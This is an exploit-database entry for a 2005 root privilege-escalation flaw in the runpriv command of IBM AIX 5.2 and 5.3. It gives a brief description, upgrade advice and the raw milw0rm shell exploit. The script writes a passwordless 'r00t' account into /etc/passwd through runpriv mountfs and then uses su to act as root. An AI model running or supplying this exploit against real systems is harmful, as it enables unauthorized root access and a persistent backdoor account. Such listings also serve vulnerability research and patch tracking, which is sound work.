header-logo
Suggest Exploit
vendor:
AIX
by:
milw0rm.com
7.2
CVSS
HIGH
Privilege Escalation
264
CWE
Product Name: AIX
Affected Version From: AIX 5.2
Affected Version To: AIX 5.3
Patch Exists: YES
Related CWE: CVE-2005-3106
CPE: o:ibm:aix:5.2
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: AIX
2005

Privilege Escalation in runpriv

A vulnerability in the runpriv command of the IBM AIX operating system allows local users to gain root privileges. The vulnerability is due to the runpriv command not properly dropping privileges when executing a command. This allows a local user to execute a command as root. The vulnerability is present in AIX 5.2 and 5.3.

Mitigation:

Upgrade to the latest version of AIX 5.2 and 5.3.
Source

Exploit-DB raw data:

#!/bin/sh
# Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312

/usr/sysadm/bin/runpriv mountfs -s test -d / -o |
  "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh >> /etc/passwd'"
su r00t -c "chown root:sys /tmp/passwd123 ;
mv /tmp/passwd123 /etc/passwd ;
chmod 644 /etc/passwd ; su" 

# milw0rm.com [2005-10-10]